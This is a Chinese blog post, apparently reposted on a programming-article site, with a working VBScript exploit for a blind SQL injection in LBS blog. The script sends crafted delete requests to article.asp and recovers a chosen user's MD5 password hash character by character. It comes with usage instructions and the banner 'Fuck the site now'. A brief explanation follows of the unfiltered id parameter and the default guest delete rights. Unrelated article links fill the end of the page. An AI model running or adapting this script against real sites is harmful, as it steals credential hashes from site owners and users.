LBS blog sql注射漏洞[All version]-官方已有补丁


Posted in Javascript onAugust 26, 2007

呵呵,只是证明下漏洞存在
exp如下,保存为vbs,自己下个程序测试自己吧

'From 剑心
'============================================================================
'使用说明:
' 在命令提示符下:
' cscript.exe lbsblog.vbs 要攻击的网站的博客路径 有效的文章id 要破解的博客用户密码
'如:
' cscript.exe lbsblog.vbs www.xxxx.com/blog/ 1 1
' by loveshell
'============================================================================
On Error Resume Next
Dim oArgs
Dim olbsXML 'XMLHTTP对象用来打开目标网址
Dim TargetURL '目标网址
Dim userid,articleid '博客用户名
Dim TempStr '存放已获取的部分 MD5密码
Dim CharHex '定义16进制字符
Dim charset

Set oArgs = WScript.arguments
If oArgs.count < 1 Then Call ShowUsage()

Set olbsXML = createObject("Microsoft.XMLHTTP")

'补充完整目标网址
TargetURL = oArgs(0)
If LCase(Left(TargetURL,7)) <> "http://" Then TargetURL = "http://" & TargetURL
If right(TargetURL,1) <> "/" Then TargetURL = TargetURL & "/"
TargetURL=TargetURL & "article.asp"

articleid=oArgs(1)
userid=oArgs(2)
TempStr=""
CharHex=Split("0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f",",")

WScript.echo "LBS blog All version Exploit"&vbcrlf
WScript.echo "By 剑心"&vbcrlf
WScript.echo "http://www.loveshell.net/    Just For fun :)"&vbcrlf&vbcrlf
WScript.echo "+Fuck the site now"&vbcrlf

Call main(TargetURL,BlogName) 

Set oBokeXML = Nothing

'----------------------------------------------sub-------------------------------------------------------
'============================================
'函数名称:main
'函数功能:主程序,注入获得blog 用户密码
'============================================
Sub main(TargetURL,BlogName)
Dim MainOffset,SubOffset,TempLen,OpenURL,GetPage
For MainOffset = 1 To 40
For SubOffset = 0 To 15
TempLen = 0
    postdata = ""
    postdata = articleid &" and (select left(user_password,"&MainOffset&") from blog_user where user_id=" & userid & ")='" & TempStr&CharHex(SubOffset) &"'"

    OpenURL = TargetURL

olbsXML.open "Post",OpenURL, False, "", ""
    olbsXML.setRequestHeader "Content-Type","application/x-www-form-urlencoded"
olbsXML.send "act=delete&id="& escape(postdata)
GetPage = BytesToBstr(olbsXML.ResponseBody)
'判断访问的页面是否存在
If InStr(GetPage,"deleted")<>0 Then 
'"博客用户不存在或填写的资料有误" 为错误标志 ,返回此标志说明 猜解的 MD5 不正确
'如果得到 0000000000000000 的 MD5 值,请修改错误标志
ElseIf InStr(GetPage,"permission")<>0 Then
TempStr=TempStr & CharHex(SubOffset)
WScript.Echo "+Crack now:"&TempStr
Exit for
Else
WScript.echo vbcrlf & "Something error" & vbcrlf 
WScript.echo vbcrlf & GetPage& vbcrlf 
WScript.Quit
End If 
next
Next
WScript.Echo vbcrlf& "+We Got It:" & TempStr & vbcrlf &vbcrlf&":P Don't Be evil"
End sub

'============================================
'函数名称:BytesToBstr
'函数功能:将XMLHTTP对象中的内容转化为GB2312编码
'============================================
Function BytesToBstr(body)
dim objstream
set objstream = createObject("ADODB.Stream")
objstream.Type = 1
objstream.Mode =3
objstream.Open
objstream.Write body
objstream.Position = 0
objstream.Type = 2
objstream.Charset = "GB2312"
BytesToBstr = objstream.ReadText
objstream.Close
set objstream = nothing
End Function

'============================
'函数名称:ShowUsage
'函数功能:使用方法提示
'============================
Sub ShowUsage()
WScript.echo " LBS blog Exploit" & vbcrlf & " By Loveshell/剑心"
WScript.echo "Usage:"& vbcrlf & " CScript " & WScript.ScriptFullName &" TargetURL BlogName"
WScript.echo "Example:"& vbcrlf & " CScript " & WScript.ScriptFullName &" http://www.loveshell.net/ 1 1"
WScript.echo ""
WScript.Quit
End Sub

漏洞说明:

src_article.asp中的
......
input["log_id"]=func.checkInt(input["log_id"]);
if(!input["id"]){
strError=lang["invalid_parameter"];
}else{
// Check if the article exists
theArticle.load("log_id, log_authorID, log_catID","log_id="+input["id"]);
strError=false;
}
......

过滤的是log_id,但是使用的确实id,呵呵 :)

然后呢?
class/article.asp中的代码
this.load = function(strselect, strwhere){
var tmpA=connBlog.query("select TOP 1 "+strselect+" FROM [blog_Article] where "+strwhere);
if(tmpA){
this.fill(tmpA[0]);
return true;
}else{
return false;
}
}

上面不用说了吧,呵呵.不过触发要条件的,看能满足不哦!

function articledelete(){
if(theUser.rights["delete"]<1){
// Check User Right - without DB Query
pageHeader(lang["error"]);
redirectMessage(lang["error"], lang["no_rights"], lang["goback"], "javascript:window.history.back();", false, "errorbox");
}else{
var theArticle=new lbsArticle();
var strError;

默认情况下guest都有删除权限的,尽管后面还做了判断,但是注入已经发生,而我们正好利用他的判断注射,呵呵

Javascript 相关文章推荐
不同浏览器的怪癖小结
Jul 11 Javascript
JavaScript设计模式经典之工厂模式
Feb 24 Javascript
对js eval()函数的一些见解
Aug 15 Javascript
jQuery实现的自动加载页面功能示例
Sep 04 Javascript
JavaScript动态数量的文件上传控件
Nov 18 Javascript
JavaScript实现前端分页控件
Apr 19 Javascript
vue实现的下拉框功能示例
Jan 29 Javascript
Vue.js中的extend绑定节点并显示的方法
Jun 20 Javascript
Cordova(ionic)项目实现双击返回键退出应用
Sep 17 Javascript
浅谈vue项目用到的mock数据接口的两种方式
Oct 09 Javascript
微信小程序自定义navigationBar顶部导航栏适配所有机型(附完整案例)
Apr 26 Javascript
vue中利用three.js实现全景图的完整示例
Dec 07 Vue.js
javascript下操作css的float属性的特殊写法
Aug 22 #Javascript
ASP中用Join和Array,可以加快字符连接速度的代码
Aug 22 #Javascript
可以把编码转换成 gb2312编码lib.UTF8toGB2312.js
Aug 21 #Javascript
lib.utf.js
Aug 21 #Javascript
javascript实现上传图片前的预览(TX的面试题)
Aug 20 #Javascript
fix-ie5.js扩展在IE5下不能使用的几个方法
Aug 20 #Javascript
关于恒等于(===)和非恒等于(!==)
Aug 20 #Javascript
You might like
什么是调频(FM)、调幅(AM)、短波(SW)、长波(LW)
2021/03/01 无线电
MySQL数据源表结构图示
2008/06/05 PHP
php中substr()函数参数说明及用法实例
2014/11/15 PHP
PHP通过文件保存和更新信息的方法分析
2019/09/12 PHP
JQuery优缺点分析说明
2010/06/09 Javascript
$.get获取一个文件的内容示例代码
2013/09/11 Javascript
js监听鼠标事件控制textarea输入字符串的个数
2014/09/29 Javascript
浅谈jQuery中的事件
2015/03/23 Javascript
举例讲解JavaScript中关于对象操作的相关知识
2015/11/16 Javascript
jQuery实现分隔条左右拖动功能
2015/11/21 Javascript
JavaScript的代码编写格式规范指南
2015/12/07 Javascript
响应式表格之固定表头的简单实现
2016/08/26 Javascript
vue制作加载更多功能的正确打开方式
2016/10/12 Javascript
JS动态遍历json中所有键值对的方法(不知道属性名的情况)
2016/12/28 Javascript
原生和jQuery的ajax用法详解
2017/01/23 Javascript
JS简单验证上传文件类型的方法
2017/04/17 Javascript
浅谈angular2路由预加载策略
2017/10/04 Javascript
Vue.js图片预览插件使用详解
2018/08/27 Javascript
JavaScript中import用法总结
2019/01/20 Javascript
通过JavaScript下载文件到本地的方法(单文件)
2019/03/17 Javascript
基于mpvue搭建微信小程序项目框架的教程详解
2019/04/10 Javascript
JS实现的简单tab切换功能完整示例
2019/06/20 Javascript
基于jquery ajax的多文件上传进度条过程解析
2019/09/11 jQuery
vuejs+element UI table表格中实现禁用部分复选框的方法
2019/09/20 Javascript
Node 使用express-http-proxy 做api网关的实现
2020/10/15 Javascript
[46:40]VGJ.T vs Winstrike 2018国际邀请赛小组赛BO2 第一场 8.17
2018/08/20 DOTA
Python调用ctypes使用C函数printf的方法
2017/08/23 Python
Python3解释器知识点总结
2019/02/19 Python
Python 改变数组类型为uint8的实现
2020/04/09 Python
python利用xlsxwriter模块 操作 Excel
2020/10/14 Python
优秀共产党员先进事迹
2014/01/27 职场文书
工程索赔意向书
2014/08/30 职场文书
2014年民主评议党员工作总结
2014/12/02 职场文书
4种非常实用的python内置数据结构
2021/04/28 Python
MySQL系列之开篇 MySQL关系型数据库基础概念
2021/07/02 MySQL
ORACLE中dbms_output.put_line输出问题的解决过程
2022/06/28 Oracle